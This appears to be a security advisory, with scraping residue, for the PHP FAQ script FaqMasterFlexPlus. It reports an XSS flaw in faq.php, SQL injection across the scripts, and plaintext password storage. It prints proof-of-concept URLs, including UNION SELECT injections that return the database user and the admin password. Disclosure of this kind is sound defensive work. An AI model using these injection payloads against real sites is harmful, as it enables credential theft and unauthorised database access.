II. Description<\/p>\n
Multiple flaws in FaqMasterFlexPlus have been discovered:<\/p>\n
1) Cross Site Scripting:<\/p>\n
The script faq.php suffers an XSS bug, specifically the variable $cat_name it’s not properly sanitized,
\nan attacker exploiting this flaw can perform an XSS attack to access the targeted user cookies.<\/p>\n
All Admin scripts to add\/edit\/delete categories and add\/edit\/delete faq don’t parse correctly the user supplied input too.<\/p>\n
PoC: http:\/\/www.example.com\/[path\/to\/faq\/]\/faq.php?category_id=1&cat_name=[XSS]<\/p>\n
2) SQL Injection (to exploit this issue it’s necesarry magic_quotes_gpc set to Off in the php.ini file).<\/p>\n
All the scripts suffers for sql injections attacks in the querys to the database.<\/p>\n
PoC: http:\/\/www.example.com\/[path\/to\/faq]\/faq.php?category_id=1’%20union%20select%201,1,user(),1\/*<\/p>\n
Then get a new line like this:<\/p>\n
Q faquser@localhost<\/p>\n
or a Proof of Concept to get the admin password:<\/p>\n
http:\/\/www.example.com\/[path\/to\/faq]\/faq.php?category_id=1’%20union%20select%201,1,<\/p>\n
passwrd,1%20from%20users%20where%20userid=’admin<\/p>\n
Q supersecretpassword<\/p>\n
bingo! ;)<\/p>\n
Besides password is stored in plain text, this is a big security flaw.<\/p>\n
This software is infected with many bugs and must be fully audited for enforce the security.<\/p>\n
